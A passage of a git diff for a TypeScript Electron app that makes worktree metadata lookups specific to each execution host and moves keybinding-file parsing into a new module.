-    ? createSshWorktreeMetaIndex(Object.entries(store.getAllWorktreeMeta()))
+    ? createSshWorktreeMetaIndex(Object.entries(allMeta ?? {}))
     : new Map()
 
   try {
@@ -118,7 +123,7 @@ export async function listDetectedWorktreesForCapturedRepo(
       repoId: repo.id,
       authoritative: true,
       source: 'git',
-      worktrees: buildDetectedGitWorktrees(store, repo, gitWorktrees)
+      worktrees: buildDetectedGitWorktrees(store, repo, gitWorktrees, allMeta)
     }
   } catch (err) {
     const aborted = abortedResult()
diff --git a/src/main/ipc/worktrees/listing/register-host-catalog-handlers.ts b/src/main/ipc/worktrees/listing/register-host-catalog-handlers.ts
index 50ce6082a42..0d47f3638c2 100644
--- a/src/main/ipc/worktrees/listing/register-host-catalog-handlers.ts
+++ b/src/main/ipc/worktrees/listing/register-host-catalog-handlers.ts
@@ -23,6 +23,7 @@ import {
   listDisconnectedSshWorktrees
 } from './ssh-worktree-fallback'
 import type { WorktreeIpcContext } from '../worktree-ipc-context'
+import { readAllWorktreeMetaForHost } from '../../../persistence/host-qualified-worktree-meta'
 
 export function registerHostCatalogHandlers(context: WorktreeIpcContext): void {
   const { store } = context
@@ -76,7 +77,10 @@ export function registerHostCatalogHandlers(context: WorktreeIpcContext): void {
               )
             )
       }
-      const metaIndex = createSshWorktreeMetaIndexForRepo(store.getAllWorktreeMeta(), repo.id)
+      const metaIndex = createSshWorktreeMetaIndexForRepo(
+        readAllWorktreeMetaForHost(store, requestedExecutionHostId),
+        repo.id
+      )
       return complete(
         buildDisconnectedDetectedWorktrees(
           store,
@@ -111,7 +115,7 @@ export function registerHostCatalogHandlers(context: WorktreeIpcContext): void {
       if (isFolderRepo(repo)) {
         return nothingForgotten
       }
-      const allMeta = store.getAllWorktreeMeta()
+      const allMeta = readAllWorktreeMetaForHost(store, requestedExecutionHostId)
       const forgottenWorktreeIds: string[] = []
       for (const worktreeId of worktreeIds) {
         const meta = typeof worktreeId === 'string' ? allMeta[worktreeId] : undefined
diff --git a/src/main/ipc/worktrees/listing/register-worktree-catalog-handlers.ts b/src/main/ipc/worktrees/listing/register-worktree-catalog-handlers.ts
index 64c28c08495..f2388b3ce43 100644
--- a/src/main/ipc/worktrees/listing/register-worktree-catalog-handlers.ts
+++ b/src/main/ipc/worktrees/listing/register-worktree-catalog-handlers.ts
@@ -1,5 +1,6 @@
 import { ipcMain } from 'electron'
 import { isFolderRepo } from '../../../../shared/repo-kind'
+import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host'
 import { getSshGitProvider } from '../../../providers/ssh-git-dispatch'
 import { pruneLineageForMissingRepoWorktrees } from '../../../worktree-lineage-pruning'
 import { EMPTY_RETIRED_NAME_REGISTRY } from '../../../../shared/worktree/retired-name-registry'
@@ -21,6 +22,8 @@ import {
   warnOnce
 } from './worktree-listing-diagnostics'
 import type { WorktreeIpcContext } from '../worktree-ipc-context'
+import { readAllWorktreeMetaForHost } from '../../../persistence/host-qualified-worktree-meta'
+import type { WorktreeMeta } from '../../../../shared/worktree/meta-types'
 
 const WORKTREE_LIST_ALL_CONCURRENCY = 8
 
@@ -49,9 +52,36 @@ export function registerWorktreeCatalogHandlers(context: WorktreeIpcContext): vo
 
   ipcMain.handle('worktrees:listAll', async () => {
     const repos = store.getRepos()
-    const sshWorktreeMetaIndex = repos.some((repo) => repo.connectionId)
-      ? createSshWorktreeMetaIndex(Object.entries(store.getAllWorktreeMeta()))
-      : new Map()
+    const legacyMetadata =
+      typeof store.getAllWorktreeMetaForHost === 'function' ? undefined : store.getAllWorktreeMeta()
+    const metadataByHost = new Map<ExecutionHostId, Record<string, WorktreeMeta>>()
+    const metadataForRepo = (repo: (typeof repos)[number]): Record<string, WorktreeMeta> => {
+      const hostId = getRepoExecutionHostId(repo)
+      const cached = metadataByHost.get(hostId)
+      if (cached) {
+        return cached
+      }
+      const metadata =
+        typeof store.getAllWorktreeMetaForHost === 'function'
+          ? store.getAllWorktreeMetaForHost(hostId)
+          : readAllWorktreeMetaForHost({ getAllWorktreeMeta: () => legacyMetadata ?? {} }, hostId)
+      metadataByHost.set(hostId, metadata)
+      return metadata
+    }
+    const sshMetaIndexByHost = new Map<
+      ExecutionHostId,
+      ReturnType<typeof createSshWorktreeMetaIndex>
+    >()
+    const sshMetaIndexForRepo = (repo: (typeof repos)[number]) => {
+      const hostId = getRepoExecutionHostId(repo)
+      const cached = sshMetaIndexByHost.get(hostId)
+      if (cached) {
+        return cached
+      }
+      const index = createSshWorktreeMetaIndex(Object.entries(metadataForRepo(repo)))
+      sshMetaIndexByHost.set(hostId, index)
+      return index
+    }
 
     // Why: each local repo listing can spawn `git worktree list`; cap fan-out so large fleets don't start unbounded subprocesses.
     const results = await mapWithConcurrency(repos, WORKTREE_LIST_ALL_CONCURRENCY, async (repo) => {
@@ -68,7 +98,7 @@ export function registerWorktreeCatalogHandlers(context: WorktreeIpcContext): vo
               `${repo.connectionId}:${repo.id}`,
               `[worktrees] SSH git provider unavailable; skipping worktree list for repo "${repo.displayName}" (${repo.id}) at ${repo.path} on connection ${repo.connectionId}`
             )
-            return listDisconnectedSshWorktrees(store, repo, sshWorktreeMetaIndex)
+            return listDisconnectedSshWorktrees(store, repo, sshMetaIndexForRepo(repo))
           }
           loggedUnavailableSshGitProviders.delete(`${repo.connectionId}:${repo.id}`)
           try {
@@ -80,7 +110,7 @@ export function registerWorktreeCatalogHandlers(context: WorktreeIpcContext): vo
               `[worktrees] failed to list worktrees for repo "${repo.displayName}" (${repo.id}) at ${repo.path}`,
               err
             )
-            return listDisconnectedSshWorktrees(store, repo, sshWorktreeMetaIndex)
+            return listDisconnectedSshWorktrees(store, repo, sshMetaIndexForRepo(repo))
           }
         } else {
           const scan = await listDetectedGitWorktrees(store, repo)
@@ -92,9 +122,10 @@ export function registerWorktreeCatalogHandlers(context: WorktreeIpcContext): vo
           pruneLineageForMissingRepoWorktrees(store, repo, gitWorktrees)
         }
         loggedWorktreeListFailures.delete(`${repo.id}:${repo.path}`)
-        return buildDetectedGitWorktrees(store, repo, gitWorktrees)
+        const metadata = metadataForRepo(repo)
+        return buildDetectedGitWorktrees(store, repo, gitWorktrees, metadata)
           .filter((worktree) => worktree.visible)
-          .map((worktree) => stampAndMergeVisibleDetectedWorktree(store, repo, worktree))
+          .map((worktree) => stampAndMergeVisibleDetectedWorktree(store, repo, worktree, metadata))
       } catch (err) {
         warnOnce(
           loggedWorktreeListFailures,
@@ -123,8 +154,11 @@ export function registerWorktreeCatalogHandlers(context: WorktreeIpcContext): vo
     if (!repo) {
       return []
     }
+    const allMeta = repo.connectionId
+      ? readAllWorktreeMetaForHost(store, getRepoExecutionHostId(repo))
+      : undefined
     const sshWorktreeMetaIndex = repo.connectionId
-      ? createSshWorktreeMetaIndex(Object.entries(store.getAllWorktreeMeta()))
+      ? createSshWorktreeMetaIndex(Object.entries(allMeta ?? {}))
       : new Map()
 
     try {
@@ -164,9 +198,10 @@ export function registerWorktreeCatalogHandlers(context: WorktreeIpcContext): vo
         pruneLineageForMissingRepoWorktrees(store, repo, gitWorktrees)
       }
       loggedWorktreeListFailures.delete(`${repo.id}:${repo.path}`)
-      return buildDetectedGitWorktrees(store, repo, gitWorktrees)
+      const metadata = allMeta ?? readAllWorktreeMetaForHost(store, getRepoExecutionHostId(repo))
+      return buildDetectedGitWorktrees(store, repo, gitWorktrees, metadata)
         .filter((worktree) => worktree.visible)
-        .map((worktree) => stampAndMergeVisibleDetectedWorktree(store, repo, worktree))
+        .map((worktree) => stampAndMergeVisibleDetectedWorktree(store, repo, worktree, metadata))
     } catch (err) {
       warnOnce(
         loggedWorktreeListFailures,
diff --git a/src/main/ipc/worktrees/listing/ssh-worktree-fallback.ts b/src/main/ipc/worktrees/listing/ssh-worktree-fallback.ts
index 26fb14f2341..7ec2cac1fc9 100644
--- a/src/main/ipc/worktrees/listing/ssh-worktree-fallback.ts
+++ b/src/main/ipc/worktrees/listing/ssh-worktree-fallback.ts
@@ -8,6 +8,11 @@ import type { Repo } from '../../../../shared/repo-types'
 import type { GitWorktreeInfo, DetectedWorktree, Worktree } from '../../../../shared/worktree/types'
 import type { Store } from '../../../persistence/loading-store/store'
 import { getRepoExecutionHostId } from '../../../../shared/execution-host'
+import {
+  readWorktreeMetaForHost,
+  writeWorktreeMetaForHost
+} from '../../../persistence/host-qualified-worktree-meta'
+import { getRepoOwnedWorktreeMeta } from '../../../worktree-metadata-ownership'
 import {
   buildKnownOrcaWorkspaceLayouts,
   isLegacyRepoForExternalWorktreeVisibility,
@@ -110,7 +115,7 @@ export function listDisconnectedSshWorktrees(
         ? { ...candidate.meta, ...ownershipUpdates }
         : candidate.meta
     if (Object.keys(ownershipUpdates).length > 0) {
-      store.setWorktreeMeta(candidate.id, ownershipUpdates)
+      writeWorktreeMetaForHost(store, candidate.id, expectedHostId, ownershipUpdates)
     }
     // Why: synthesized rows carry no branch, so the title would fall through to the DESKTOP's basename()
     // applied to a REMOTE path — a Windows remote then renders its whole C:\... path as the name. Rows must
@@ -131,7 +136,8 @@ export function listDisconnectedSshWorktrees(
 export function buildDetectedGitWorktrees(
   store: Store,
   repo: Repo,
-  gitWorktrees: GitWorktreeInfo[]
+  gitWorktrees: GitWorktreeInfo[],
+  allMetaOverride?: Record<string, WorktreeMeta>
 ): DetectedWorktree[] {
   const settings = store.getSettings()
   const knownOrcaLayouts = buildKnownOrcaWorkspaceLayouts(settings, repo)
@@ -145,9 +151,15 @@ export function buildDetectedGitWorktrees(
     resolveCustomWorktreeVisibilitySources(repo, settings.worktreeVisibilityDefaults),
     resolveConfiguredWorktreeBasePaths(repo)
   )
+  const allMeta = allMetaOverride ?? store.getAllWorktreeMeta?.()
+  const repoOwnerCount = store.getRepos().filter((candidate) => candidate.id === repo.id).length
   const detected = liveWorktrees.map((gitWorktree) => {
     const worktreeId = `${repo.id}::${gitWorktree.path}`
-    let meta = store.getWorktreeMeta(worktreeId)
+    const legacyMeta = store.getWorktreeMeta?.(worktreeId)
+    const metaById = allMeta ?? (legacyMeta ? { [worktreeId]: legacyMeta } : {})
+    let meta =
+      readWorktreeMetaForHost(store, worktreeId, getRepoExecutionHostId(repo)) ??
+      getRepoOwnedWorktreeMeta(repo, worktreeId, metaById, repoOwnerCount)
     const worktree = mergeWorktree(repo.id, gitWorktree, meta, repo.displayName)
     const detected = toDetectedWorktree({
       repo,
@@ -162,7 +174,13 @@ export function buildDetectedGitWorktrees(
       return detected
     }
 
-    meta = resolveWorktreeMetaWithDiscoveryBackfill(store, repo, worktreeId)
+    meta = resolveWorktreeMetaWithDiscoveryBackfill(
+      store,
+      repo,
+      worktreeId,
+      allMeta,
+      repoOwnerCount
+    )
     return toDetectedWorktree({
       repo,
       worktree: mergeWorktree(repo.id, gitWorktree, meta, repo.displayName),
@@ -179,8 +197,9 @@ export function buildDetectedGitWorktrees(
 export function stampAndMergeVisibleDetectedWorktree(
   store: Store,
   repo: Repo,
-  detected: DetectedWorktree
+  detected: DetectedWorktree,
+  allMetaOverride?: Record<string, WorktreeMeta>
 ) {
-  const meta = resolveWorktreeMetaWithDiscoveryBackfill(store, repo, detected.id)
+  const meta = resolveWorktreeMetaWithDiscoveryBackfill(store, repo, detected.id, allMetaOverride)
   return mergeWorktree(repo.id, detected, meta, repo.displayName)
 }
diff --git a/src/main/ipc/worktrees/listing/worktree-discovery-metadata.ts b/src/main/ipc/worktrees/listing/worktree-discovery-metadata.ts
index c96e8dc2978..6af4d45c3cd 100644
--- a/src/main/ipc/worktrees/listing/worktree-discovery-metadata.ts
+++ b/src/main/ipc/worktrees/listing/worktree-discovery-metadata.ts
@@ -1,7 +1,13 @@
 import type { Store } from '../../../persistence/loading-store/store'
 import type { Repo } from '../../../../shared/repo-types'
 import type { WorktreeMeta } from '../../../../shared/worktree/meta-types'
-import { getProjectHostSetupWorktreeMeta } from '../../../../shared/project-host-setup-projection'
+import { getProjectHostSetupWorktreeMeta } from '../../../../shared/project-host-setup-lookup'
+import { getRepoExecutionHostId } from '../../../../shared/execution-host'
+import {
+  readWorktreeMetaForHost,
+  writeWorktreeMetaForHost
+} from '../../../persistence/host-qualified-worktree-meta'
+import { getRepoOwnedWorktreeMeta } from '../../../worktree-metadata-ownership'
 import { randomUUID } from 'node:crypto'
 
 export function getProjectHostSetupMetaUpdates(
@@ -29,9 +35,21 @@ export function getProjectHostSetupMetaUpdates(
 export function resolveWorktreeMetaWithDiscoveryBackfill(
   store: Store,
   repo: Repo,
-  worktreeId: string
+  worktreeId: string,
+  allMetaOverride?: Record<string, WorktreeMeta>,
+  repoOwnerCount = store.getRepos().filter((candidate) => candidate.id === repo.id).length
 ): WorktreeMeta {
-  const existing = store.getWorktreeMeta(worktreeId)
+  const executionHostId = getRepoExecutionHostId(repo)
+  const legacyMeta = store.getWorktreeMeta?.(worktreeId)
+  const allMeta = allMetaOverride ?? store.getAllWorktreeMeta?.()
+  const existing =
+    readWorktreeMetaForHost(store, worktreeId, executionHostId) ??
+    getRepoOwnedWorktreeMeta(
+      repo,
+      worktreeId,
+      allMeta ?? (legacyMeta ? { [worktreeId]: legacyMeta } : {}),
+      repoOwnerCount
+    )
   const ownershipUpdates = getProjectHostSetupMetaUpdates(store, repo, existing)
   if (existing) {
     const updates = {
@@ -40,11 +58,11 @@ export function resolveWorktreeMetaWithDiscoveryBackfill(
     }
     if (Object.keys(updates).length > 0) {
       // Why: pre-lineage profiles already have WorktreeMeta rows; backfill on discovery so upgraded workspaces get lineage and host routing.
-      return store.setWorktreeMeta(worktreeId, updates)
+      return writeWorktreeMetaForHost(store, worktreeId, executionHostId, updates)
     }
     return existing
   }
-  return store.setWorktreeMeta(worktreeId, {
+  return writeWorktreeMetaForHost(store, worktreeId, executionHostId, {
     lastActivityAt: Date.now(),
     ...ownershipUpdates
   })
diff --git a/src/main/ipc/worktrees/metadata/register-worktree-metadata-handlers.ts b/src/main/ipc/worktrees/metadata/register-worktree-metadata-handlers.ts
index 97d175a70df..359bd87f67d 100644
--- a/src/main/ipc/worktrees/metadata/register-worktree-metadata-handlers.ts
+++ b/src/main/ipc/worktrees/metadata/register-worktree-metadata-handlers.ts
@@ -1,5 +1,6 @@
 import { ipcMain } from 'electron'
 import type { WorktreeMeta } from '../../../../shared/worktree/meta-types'
+import { parseExecutionHostId } from '../../../../shared/execution-host'
 import { stripOrcaProvenanceMetaUpdates } from '../../../worktree-removal-safety'
 import { getRepoIdFromWorktreeId } from '../../../../shared/worktree/id'
 import type {
@@ -16,10 +17,23 @@ import type { WorktreeIpcContext } from '../worktree-ipc-context'
 
 export function registerWorktreeMetadataHandlers(context: WorktreeIpcContext): void {
   const { mainWindow, store, runtime } = context
-
   ipcMain.handle(
     'worktrees:updateMeta',
-    (_event, args: { worktreeId: string; updates: Partial<WorktreeMeta> }) => {
+    (
+      _event,
+      args: {
+        worktreeId: string
+        executionHostId?: string
+        updates: Partial<WorktreeMeta>
+      }
+    ) => {
+      const executionHostId =
+        args.executionHostId === undefined
+          ? undefined
+          : parseExecutionHostId(args.executionHostId)?.id
+      if (args.executionHostId !== undefined && !executionHostId) {
+        throw new Error('Invalid execution host identity.')
+      }
       const validatedUpdates = normalizeLinkedWorkItemFields(args.updates)
       const updates =
         validatedUpdates.displayName !== undefined
@@ -29,7 +43,10 @@ export function registerWorktreeMetadataHandlers(context: WorktreeIpcContext): v
               firstAgentMessageRenameError: null
             }
           : validatedUpdates
-      const meta = store.setWorktreeMeta(args.worktreeId, stripOrcaProvenanceMetaUpdates(updates))
+      const sanitizedUpdates = stripOrcaProvenanceMetaUpdates(updates)
+      const meta = executionHostId
+        ? store.setWorktreeMetaForHost(args.worktreeId, executionHostId, sanitizedUpdates)
+        : store.setWorktreeMeta(args.worktreeId, sanitizedUpdates)
       // Do NOT notify here: renderer already applied this optimistically; a notification would re-sort the sidebar (bug PR #209).
       if (args.updates.displayName !== undefined) {
         // Why: remote clients have no optimistic rename and stopped polling titles, so push a remote-only invalidation; gate on displayName so per-click isUnread updates stay event-free.
diff --git a/src/main/keybindings/keybinding-file-parser.ts b/src/main/keybindings/keybinding-file-parser.ts
new file mode 100644
index 00000000000..9343a43d1af
--- /dev/null
+++ b/src/main/keybindings/keybinding-file-parser.ts
@@ -0,0 +1,241 @@
+import { existsSync, mkdirSync, readFileSync, renameSync, unlinkSync, writeFileSync } from 'node:fs'
+import { dirname } from 'node:path'
+import {
+  findKeybindingConflicts,
+  getKeybindingDefinition,
+  isKeybindingActionId,
+  normalizeKeybindingArrayForAction,
+  normalizeKeybindingListForAction,
+  type KeybindingActionId,
+  type KeybindingFileDiagnostic,
+  type KeybindingOverrides,
+  type KeybindingPlatform
+} from '../../shared/keybindings'
+
+export type JsonObject = Record<string, unknown>
+
+export const FILE_VERSION = 1
+const PLATFORM_KEYS: readonly KeybindingPlatform[] = ['darwin', 'linux', 'win32']
+const ROOT_KEYS = new Set(['$schema', 'version', 'keybindings', 'platforms'])
+
+export function isJsonObject(value: unknown): value is JsonObject {
+  return Boolean(value) && typeof value === 'object' && !Array.isArray(value)
+}
+
+export function createEmptyDocument(): JsonObject {
+  return {
+    version: FILE_VERSION,
+    keybindings: {},
+    platforms: {
+      darwin: {},
+      linux: {},
+      win32: {}
+    }
+  }
+}
+
+export function readJsonDocument(path: string): {
+  exists: boolean
+  document: JsonObject | null
+  error?: string
+} {
+  if (!existsSync(path)) {
+    return { exists: false, document: createEmptyDocument() }
+  }
+  try {
+    const parsed = JSON.parse(readFileSync(path, 'utf8')) as unknown
+    if (!isJsonObject(parsed)) {
+      return { exists: true, document: null, error: 'Keybindings file must contain a JSON object.' }
+    }
+    return { exists: true, document: parsed }
+  } catch (error) {
+    return {
+      exists: true,
+      document: null,
+      error: error instanceof Error ? error.message : String(error)
+    }
+  }
+}
+
+export function writeJsonDocument(path: string, document: JsonObject): void {
+  mkdirSync(dirname(path), { recursive: true })
+  const tempPath = `${path}.tmp`
+  try {
+    writeFileSync(tempPath, `${JSON.stringify(document, null, 2)}\n`, 'utf8')
+    renameSync(tempPath, path)
+  } catch (error) {
+    try {
+      if (existsSync(tempPath)) {
+        unlinkSync(tempPath)
+      }
+    } catch {
+      // Ignore cleanup failure; the original write error is more actionable.
+    }
+    throw error
+  }
+}
+
+function normalizeBindingValue(
+  actionId: KeybindingActionId,
+  value: unknown
+): { ok: true; value: string[] } | { ok: false; error: string } {
+  if (value === null || value === false) {
+    return { ok: true, value: [] }
+  }
+  if (typeof value === 'string') {
+    const normalized = normalizeKeybindingListForAction(actionId, value)
+    return Array.isArray(normalized)
+      ? { ok: true, value: normalized }
+      : normalized.ok
+        ? { ok: true, value: [normalized.value] }
+        : normalized
+  }
+  if (Array.isArray(value)) {
+    if (!value.every((item) => typeof item === 'string')) {
+      return { ok: false, error: 'Use a string, string array, null, or false.' }
+    }
+    const normalized = normalizeKeybindingArrayForAction(actionId, value)
+    return Array.isArray(normalized)
+      ? { ok: true, value: normalized }
+      : normalized.ok
+        ? { ok: true, value: [normalized.value] }
+        : normalized
+  }
+  return { ok: false, error: 'Use a string, string array, null, or false.' }
+}
+
+export function normalizeWriteBindingValue(
+  actionId: KeybindingActionId,
+  value: unknown
+): string[] | null {
+  if (value === null) {
+    return null
+  }
+  if (!Array.isArray(value) || !value.every((binding) => typeof binding === 'string')) {
+    throw new Error('Use a string array or null.')
+  }
+  const normalized = normalizeKeybindingArrayForAction(actionId, value)
+  if (!Array.isArray(normalized)) {
+    throw new Error(normalized.ok ? 'Unable to parse shortcut.' : normalized.error)
+  }
+  return normalized
+}
+
+export function parseBindingSection(
+  value: unknown,
+  section: string,
+  diagnostics: KeybindingFileDiagnostic[],
+  options: { skipRootKeys?: boolean } = {}
+): KeybindingOverrides {
+  if (value === undefined) {
+    return {}
+  }
+  if (!isJsonObject(value)) {
+    diagnostics.push({
+      severity: 'error',
+      section,
+      message: `${section} must be an object.`
+    })
+    return {}
+  }
+
+  const overrides: KeybindingOverrides = {}
+  for (const [actionId, rawBinding] of Object.entries(value)) {
+    if (options.skipRootKeys && ROOT_KEYS.has(actionId)) {
+      continue
+    }
+    if (!isKeybindingActionId(actionId)) {
+      diagnostics.push({
+        severity: 'warning',
+        section,
+        actionId,
+        message: `Unknown keybinding action "${actionId}" was ignored.`
+      })
+      continue
+    }
+    const normalized = normalizeBindingValue(actionId, rawBinding)
+    if (!normalized.ok) {
+      diagnostics.push({
+        severity: 'error',
+        section,
+        actionId,
+        message: `Shortcut for "${actionId}" was ignored: ${normalized.error}`
+      })
+      continue
+    }
+    overrides[actionId] = normalized.value
+  }
+  return overrides
+}
+
+export function parsePlatformOverrides(
+  document: JsonObject,
+  diagnostics: KeybindingFileDiagnostic[]
+): Partial<Record<KeybindingPlatform, KeybindingOverrides>> {
+  const rawPlatforms = document.platforms
+  if (rawPlatforms === undefined) {
+    return {}
+  }
+  if (!isJsonObject(rawPlatforms)) {
+    diagnostics.push({
+      severity: 'error',
+      section: 'platforms',
+      message: 'platforms must be an object with darwin, linux, or win32 sections.'
+    })
+    return {}
+  }
+
+  const result: Partial<Record<KeybindingPlatform, KeybindingOverrides>> = {}
+  for (const [platform, value] of Object.entries(rawPlatforms)) {
+    if (!PLATFORM_KEYS.includes(platform as KeybindingPlatform)) {
+      diagnostics.push({
+        severity: 'warning',
+        section: `platforms.${platform}`,
+        message: `Unknown platform "${platform}" was ignored.`
+      })
+      continue
+    }
+    result[platform as KeybindingPlatform] = parseBindingSection(
+      value,
+      `platforms.${platform}`,
+      diagnostics
+    )
+  }
+  return result
+}
+
+export function removeConflictingOverrides(
+  platform: KeybindingPlatform,
+  overrides: KeybindingOverrides,
+  diagnostics: KeybindingFileDiagnostic[]
+): KeybindingOverrides {
+  let next = { ...overrides }
+  for (let attempt = 0; attempt < 20; attempt++) {
+    const conflicts = findKeybindingConflicts(platform, next)
+    const conflictingOverrides = new Set<KeybindingActionId>()
+
+    for (const conflict of conflicts) {
+      for (const actionId of conflict.actionIds) {
+        if (Object.hasOwn(next, actionId)) {
+          conflictingOverrides.add(actionId)
+        }
+      }
+    }
+
+    if (conflictingOverrides.size === 0) {
+      return next
+    }
+
+    for (const actionId of conflictingOverrides) {
+      delete next[actionId]
+    }
+
+    diagnostics.push({
+      severity: 'error',
+      message: `Conflicting custom shortcuts were ignored: ${Array.from(conflictingOverrides)
+        .map((actionId) => getKeybindingDefinition(actionId)?.title ?? actionId)
+        .join(', ')}.`
+    })
+  }
+  return next
+}
diff --git a/src/main/keybindings/keybinding-file.ts b/src/main/keybindings/keybinding-file.ts
index 7a357010406..4ee6bfeb2ce 100644
--- a/src/main/keybindings/keybinding-file.ts
+++ b/src/main/keybindings/keybinding-file.ts
@@ -1,250 +1,33 @@
-/* eslint-disable max-lines -- Why: parsing, sanitizing, migrating, and writing the keybindings file must stay together so file-format edge cases share one validation path. */
-import { existsSync, mkdirSync, readFileSync, renameSync, unlinkSync, writeFileSync } from 'node:fs'
-import { dirname, join } from 'node:path'
+import { existsSync } from 'node:fs'
+import { join } from 'node:path'
 import {
   findKeybindingConflicts,
   formatKeybindingList,
-  getKeybindingDefinition,
   getKeybindingPlatform,
   isKeybindingActionId,
   normalizeKeybindingArrayForAction,
-  normalizeKeybindingListForAction,
   type KeybindingActionId,
   type KeybindingFileDiagnostic,
   type KeybindingFileSnapshot,
-  type KeybindingOverrides,
-  type KeybindingPlatform
+  type KeybindingOverrides
 } from '../../shared/keybindings'
-
-type JsonObject = Record<string, unknown>
-
-const FILE_VERSION = 1
-const PLATFORM_KEYS: readonly KeybindingPlatform[] = ['darwin', 'linux', 'win32']
-const ROOT_KEYS = new Set(['$schema', 'version', 'keybindings', 'platforms'])
+import {
+  createEmptyDocument,
+  FILE_VERSION,
+  isJsonObject,
+  normalizeWriteBindingValue,
+  parseBindingSection,
+  parsePlatformOverrides,
+  readJsonDocument,
+  removeConflictingOverrides,
+  writeJsonDocument,
+  type JsonObject
+} from './keybinding-file-parser'
 
 export function getUserKeybindingsPath(homePath: string): string {
   return join(homePath, '.orca', 'keybindings.json')
 }
 
-function isJsonObject(value: unknown): value is JsonObject {
-  return Boolean(value) && typeof value === 'object' && !Array.isArray(value)
-}
-
-function createEmptyDocument(): JsonObject {
-  return {
-    version: FILE_VERSION,
-    keybindings: {},
-    platforms: {
-      darwin: {},
-      linux: {},
-      win32: {}
-    }
-  }
-}
-
-function readJsonDocument(path: string): {
-  exists: boolean
-  document: JsonObject | null
-  error?: string
-} {
-  if (!existsSync(path)) {
-    return { exists: false, document: createEmptyDocument() }
-  }
-  try {
-    const parsed = JSON.parse(readFileSync(path, 'utf8')) as unknown
-    if (!isJsonObject(parsed)) {
-      return { exists: true, document: null, error: 'Keybindings file must contain a JSON object.' }
-    }
-    return { exists: true, document: parsed }
-  } catch (error) {
-    return {
-      exists: true,
-      document: null,
-      error: error instanceof Error ? error.message : String(error)
-    }
-  }
-}
-
-function writeJsonDocument(path: string, document: JsonObject): void {
-  mkdirSync(dirname(path), { recursive: true })
-  const tempPath = `${path}.tmp`
-  try {
-    writeFileSync(tempPath, `${JSON.stringify(document, null, 2)}\n`, 'utf8')
-    renameSync(tempPath, path)
-  } catch (error) {
-    try {
-      if (existsSync(tempPath)) {
-        unlinkSync(tempPath)
-      }
-    } catch {
-      // Ignore cleanup failure; the original write error is more actionable.
-    }
-    throw error
-  }
-}
-
-function normalizeBindingValue(
-  actionId: KeybindingActionId,
-  value: unknown
-): { ok: true; value: string[] } | { ok: false; error: string } {
-  if (value === null || value === false) {
-    return { ok: true, value: [] }
-  }
-  if (typeof value === 'string') {
-    const normalized = normalizeKeybindingListForAction(actionId, value)
-    return Array.isArray(normalized)
-      ? { ok: true, value: normalized }
-      : normalized.ok
-        ? { ok: true, value: [normalized.value] }
-        : normalized
-  }
-  if (Array.isArray(value)) {
-    if (!value.every((item) => typeof item === 'string')) {
-      return { ok: false, error: 'Use a string, string array, null, or false.' }
-    }
-    const normalized = normalizeKeybindingArrayForAction(actionId, value)
-    return Array.isArray(normalized)
-      ? { ok: true, value: normalized }
-      : normalized.ok
-        ? { ok: true, value: [normalized.value] }
-        : normalized
-  }
-  return { ok: false, error: 'Use a string, string array, null, or false.' }
-}
-
-function normalizeWriteBindingValue(actionId: KeybindingActionId, value: unknown): string[] | null {
-  if (value === null) {
-    return null
-  }
-  if (!Array.isArray(value) || !value.every((binding) => typeof binding === 'string')) {
-    throw new Error('Use a string array or null.')
-  }
-  const normalized = normalizeKeybindingArrayForAction(actionId, value)
-  if (!Array.isArray(normalized)) {
-    throw new Error(normalized.ok ? 'Unable to parse shortcut.' : normalized.error)
-  }
-  return normalized
-}
-
-function parseBindingSection(
-  value: unknown,
-  section: string,
-  diagnostics: KeybindingFileDiagnostic[],
-  options: { skipRootKeys?: boolean } = {}
-): KeybindingOverrides {
-  if (value === undefined) {
-    return {}
-  }
-  if (!isJsonObject(value)) {
-    diagnostics.push({
-      severity: 'error',
-      section,
-      message: `${section} must be an object.`
-    })
-    return {}
-  }
-
-  const overrides: KeybindingOverrides = {}
-  for (const [actionId, rawBinding] of Object.entries(value)) {
-    if (options.skipRootKeys && ROOT_KEYS.has(actionId)) {
-      continue
-    }
-    if (!isKeybindingActionId(actionId)) {
-      diagnostics.push({
-        severity: 'warning',
-        section,
-        actionId,
-        message: `Unknown keybinding action "${actionId}" was ignored.`
-      })
-      continue
-    }
-    const normalized = normalizeBindingValue(actionId, rawBinding)
-    if (!normalized.ok) {
-      diagnostics.push({
-        severity: 'error',
-        section,
-        actionId,
-        message: `Shortcut for "${actionId}" was ignored: ${normalized.error}`
-      })
-      continue
-    }
-    overrides[actionId] = normalized.value
-  }
-  return overrides
-}
-
-function parsePlatformOverrides(
-  document: JsonObject,
-  diagnostics: KeybindingFileDiagnostic[]
-): Partial<Record<KeybindingPlatform, KeybindingOverrides>> {
-  const rawPlatforms = document.platforms
-  if (rawPlatforms === undefined) {
-    return {}
-  }
-  if (!isJsonObject(rawPlatforms)) {
-    diagnostics.push({
-      severity: 'error',
-      section: 'platforms',
-      message: 'platforms must be an object with darwin, linux, or win32 sections.'
-    })
-    return {}
-  }
-
-  const result: Partial<Record<KeybindingPlatform, KeybindingOverrides>> = {}
-  for (const [platform, value] of Object.entries(rawPlatforms)) {
-    if (!PLATFORM_KEYS.includes(platform as KeybindingPlatform)) {
-      diagnostics.push({
-        severity: 'warning',
-        section: `platforms.${platform}`,
-        message: `Unknown platform "${platform}" was ignored.`
-      })
-      continue
-    }
-    result[platform as KeybindingPlatform] = parseBindingSection(
-      value,
-      `platforms.${platform}`,
-      diagnostics
-    )
-  }
-  return result
-}
-
-function removeConflictingOverrides(
-  platform: KeybindingPlatform,
-  overrides: KeybindingOverrides,
-  diagnostics: KeybindingFileDiagnostic[]
-): KeybindingOverrides {
-  let next = { ...overrides }
-  for (let attempt = 0; attempt < 20; attempt++) {
-    const conflicts = findKeybindingConflicts(platform, next)
-    const conflictingOverrides = new Set<KeybindingActionId>()
-
-    for (const conflict of conflicts) {
-      for (const actionId of conflict.actionIds) {
-        if (Object.hasOwn(next, actionId)) {
-          conflictingOverrides.add(actionId)
-        }
-      }
-    }
-
-    if (conflictingOverrides.size === 0) {
-      return next
-    }
-
-    for (const actionId of conflictingOverrides) {
-      delete next[actionId]
-    }
-
-    diagnostics.push({
-      severity: 'error',
-      message: `Conflicting custom shortcuts were ignored: ${Array.from(conflictingOverrides)
-        .map((actionId) => getKeybindingDefinition(actionId)?.title ?? actionId)
-        .join(', ')}.`
-    })
-  }
-  return next
-}
-
 export function readKeybindingFile(
   path: string,
   platform: NodeJS.Platform = process.platform
diff --git a/src/main/linear/issue-list-filter.ts b/src/main/linear/issue-list-filter.ts
index 6190716ea0c..4e0729b2964 100644
